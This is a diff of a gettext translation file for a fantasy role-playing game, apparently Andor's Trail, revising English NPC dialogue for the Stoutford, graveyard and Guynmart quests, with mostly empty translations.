msgid "Maybe."
msgstr ""
@@ -5570,7 +5598,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6777,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9417,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9574,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9612,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21520,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21804,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21822,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22311,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22336,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22352,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22362,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22392,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22401,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22434,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22446,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22502,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22510,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22522,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22659,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22668,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22693,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22729,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22944,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23046,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23081,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24314,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24496,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26203,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26211,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26272,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26306,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26357,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26417,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26828,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +27004,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27155,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27181,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27314,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27322,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27332,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27429,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27582,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27601,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27614,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27749,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27789,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27825,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27849,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27870,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27894,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27990,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28080,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28116,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28439,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28451,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28471,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28981,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28997,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29015,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29035,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29047,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29239,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr "Pisau"
@@ -31286,10 +31159,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31215,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
